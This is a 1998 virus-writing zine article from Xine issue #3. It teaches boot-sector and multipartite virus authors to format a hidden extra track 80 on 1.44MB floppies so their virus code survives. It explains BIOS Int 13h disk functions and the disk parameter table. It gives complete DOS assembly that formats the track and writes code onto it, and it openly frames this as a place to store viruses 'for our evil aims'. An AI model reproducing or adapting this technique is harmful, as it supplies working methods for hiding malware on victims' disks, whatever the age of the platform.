/-----------------------------\ | Xine - issue #3 - Phile 105 | \-----------------------------/ -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú- FORMATING AN EXTRA TRACK ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú ÄÄÄ Written by Int13h [iKx] ÄÄÄ ---------------------------- - Paraguay, January '98 - INTRODUCTION ßßßßßßßßßßßß The boot or multipartite viruses, due to their way of acting, require space on disk where to move the original boot sector and the rest of virus body (in case it ocuppies more than one sector). I've noticed that,in general, the virus writers calculate the last sector of root directory (using values stored in the BPB, Bios Parameter Block, in the boot sector) and allocate in that space. Very few viruses format a new track for themselves, and as this possibility has been always present and considering my nick is Int13h, I think it was necessary to explain all you the purpose of my function 5h ;-) The advantage of formatting an extra track is that u have the security that the operating system won't overwrite the virus code, even if there is no space free in the disk. This advantage is not present in the viruses that use the last sector of the root directory. TRIPLE COORDINATES ßßßßßßßßßßßßßßßßßßß All functions of the ROM-BIOS use the triple coordinates, so as to locate a sector. The triple coordinates are the following: 1.) track number 2.) head number 3.) sector number For example, to read a sector of a diskette in drive A:, we use function 2h of Int 13h as: mov ax,0201h mov cx,0001h mov dx,0000h (xor dx,dx/sub dx,dx!) mov bx,offset Buffer int 13h Now, in more detail: AH=2, read function AL=1, number of sectors to read CH=0, 8 low bits of track number CL=1, 2 high bits are the bits 8 and 9 of track number 6 low bits are the sector number DH=0, head DL=0, physical drive (>=80h for hard disks) BX= buffer where to store read data Diskettes are divided into concentric rings that are the tracks. These tracks have 2 sides (in diskettes), and each side represents a head. Each track is divided into a certain number of sectors. From now on, we'll take the 3 1/2 diskettes high density as an example (1.44 Mbytes of capacity). The outer track is the track number 0, and the inner track is track number 79. Although it's possible to format an extra track number 80. We will learn how to do that in this tutorial. BIOS PARAMETER BLOCK ßßßßßßßßßßßßßßßßßßßß We can get info from the actual diskette by looking at its BPB (BIOS parameter block) that we discussed earlier. This area is located in the boot sector (track 0, head 0, sector 1) and starts at offset 3 of this sector. Its fields are: Offset Length Description ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 3 8 bytes System ID 11 1 word Number of bytes per sector 13 1 byte Number of sectors per cluster 14 1 word Number of reserved sectors at beginning 16 1 byte Number of FAT copies 17 1 word Number of entries in root directory 19 1 word Total number of sectors in disk 21 1 byte Format byte (FF, FE, FD, FC) 22 1 word Number of sectors per FAT 24 1 word Number of sectors per track 26 1 word Number of heads 28 1 word Number of reserved special sectors As we said we would work with 1.44 disks, the total number of sectors is 2880. That is calculated, multiplying 80 tracks by 2 heads by 18 sectors per track. 80x2x18=2880. That means that offset 19d(13h) in the BPB must be 0b40h=2880d. DISK DEVICE PARAMETER TABLE ßßßßßßßßßßßßßßßßßßßßßßßßßßß Diskette services provided by BIOS works by control of a disk base table or the "disk device parameter table". This table is composed by a group of 11 bytes, which are the control parameters of the diskette. The default address for this base table is located at f000:efc7 in ROM. But, we will create our own table. The Int 1eh is the one that points to the base table of the disk in use. When we create our table, we must make Int 1eh point to it. Let's see the meaning of each byte in this base table: 01 = byte of specification 1: SRT time and head load data 02 = byte of specification 2: head load time, mode DMA 03 = wait time until disk motor if off 04 = bytes per sector: 0=128; 1=256; 2=512; 3=1024 05 = number of last sector 06 = length of the gap between sectors for read/write access 07 = length of data when there is no sector length 08 = length of gap between sector in format operations 09 = byte stored in formated sectors (0xf6 by default) 10 = head stabilization time 11 = time to put motor on We will use the following base table for disks 3 1/2: FD35 db 0dfh,2,25h,2,12h,01bh,0fh,06ch,0f6h,0fh,8 For disks of 5 1/4, the base table is: FD514 db 0dfh,2,25h,2,0fh,01bh,0ffh,054h,0f6h,0fh,8 FUNCTION 5H ßßßßßßßßßßßßß Function 5h of interrupt 13h is used to format a track in a specified head of a diskette. The format operation is made on an entire track. We can specify characteristics of each sector. The following are the parameters we need to know to use this function. AH= 5h, function to use AL= number of sectors to create in the track CH= track number CL= sector number DH= head number DL= drive number ES:BX= pointer to the little table Lets talk now about the format of the required little table. It must contain 4 bytes per sector. The meaning of each byte is: byte 1, (C) track byte 2, (H) head byte 3, (R) sector byte 4, (N) bytes per sector. 0=128, 1=256, 2=512, 3=1024 It's important to note that sector needs not to start on 1. It can start by other number of sector, but the order of sectors must be sequential. For example, to format track 80, head 0, starting on sector 1, the table for 8 sectors format is: Table db 80,0,1,2 ; track 80, head 0, sector 1 db 80,0,2,2 ; Sector 2 db 80,0,3,2 ; Sector 3 db 80,0,4,2 ; Sector 4 db 80,0,5,2 ; Sector 5 db 80,0,6,2 ; Sector 6 db 80,0,7,2 ; Sector 7 db 80,0,8,2 ; Sector 8 A virus can contain that table in its code, but it would waste too much space. The best thing to do is generate the table in the heap with a small algorithm. Neurobasher's algorithm was 24 bytes and works this way to create the table: mov bp,50h ; track 80 mov cl,08 ; 8 sectors mov di,offset Tabla ; the table mov bx,di Generation: mov ax,bp stosw mov al,cl neg al add al,0bh mov ah,2 ; 512 bytes per sector stosw loop Generation Table db 32 dup(0) My algorithm is 21 bytes, and does the same: mov di,offset Table ; Buffer where table is generated mov cx,0201h Fabricar_Tabla: mov ax,0050h ; 50h=80d, new track stosw ; head=0 mov ax,cx ; CH=02, 512 bytes per sector stosw ; inc cl ; next sector cmp cx,0208h jbe Fabricar_Tabla Table db 32 dup(0) GIVE ME A TRACK 80 ßßßßßßßßßßßßßßßßßßß Now we are ready to create a place for our virus! 1.44 Mbytes diskettes have 80 tracks (0-79). We will format a track 80. The steps to do that are: 1.) Save the actual Int 1eh handler in use 2.) Set the new Int 1eh pointing to our base table 3.) Generate the sector table 4.) Call Int 13h with the required parameters 5.) Restore the previous Int 1eh If all that was done correctly, we now must have track 80, and can use it for our evil aims. We can access that track in any moment. We don't need to redi- rect Int 1eh to do that. Now let's just do it.... ú ú ú- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; fORMATTING tRACK 80 iN fLOPPY dISKS 3 1/2 oF hIGH dENSITY .model tiny .code org 100h Newtrack: mov ax,0351eh ; Get Int 1eh handler int 21h mov word ptr [Vieja1eh],bx mov word ptr [Vieja1eh+2],es push cs pop es ; Set ES mov ax,251eh ; Set Int 1eh mov dx,offset FDHD35 ; Pointing to our table int 21h mov di,offset Tabla ; Where table is stored mov cx,0201h Fabricar_Tabla: mov ax,0050h ; 50h=80d, our track! stosw ; Head=0 mov ax,cx ; CH=02, 512 bytes per sector stosw inc cl ; Next sector number cmp cx,0208h jbe Fabricar_Tabla xor ax,ax ; Reset disk controller int 13h mov ax,0508h ; Format 8 sectors mov bx,offset Tabla mov cx,05001h ; Track 80, starting from sector 1 xor dx,dx ; Head 0, drive A: int 13h mov ax,0301h ; Write some code in that track mov bx,100h mov cx,5001h sub dx,dx int 13h ; This Int looks familiar to me! mov ax,251eh lds dx,dword ptr [Vieja1eh] ; Restore Int 1eh int 21h ; int 20h ; Exit to DOS db 'Here I am!!!' Vieja1eh dd 0 ; Original Int 1eh handler ; Disk Base Table FDHD35 db 0dfh,2,025h,2,012h,01bh,0ffh,06ch,2,0fh,8 ; Buffer for our sector table: 8x4=32 bytes TABLA db 32 dup(0) End Newtrack 8< - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -ú ú ú Executing the program, we'll have a diskette with tracks ranging from 0 to 80. To verify it we can write a short program that reads track 80, and we'll find the text "Here I am!" Let's use DEBUG: C:\DOS>DEBUG -a100 mov ax,0201 mov cx,5001 xor dx,dx mov bx,200 int 13 mov ax,0201 int 13 -g -d200 l100 and we can read the text we write there before :) Why read two times with Int 13h? Well, on my PC sometimes when reading first time it returned me carry flag activated and an error in AH, and reading it again caused no error. I look for an explanation for this, and founded it on a book: according to IBM, the motor of the disk drive spends some time in order to reach the work speed, and Int 13h services do not wait for this speed to be reached. For that reason, IBM recommends to execute the function 3 times before giving an error. Also it re- commends to use the reset service (ah=0/int13h) between each attempt. CONCLUSION ßßßßßßßßßßß So here it ends this small tutorial. I don't see any reason for waste this method of formating an extra track for your virus. It's not too much code and is very useful. If u want an example of it, u can find one of my viruses that use it in XINE#3. Thanks a lot to my kewl friend Super/29A for his translation of this text to English. Super: gracias mogoll¢n amigazo! If u have any comment, u can reach me at: i13h@hotmail.com. INT 13H / iKx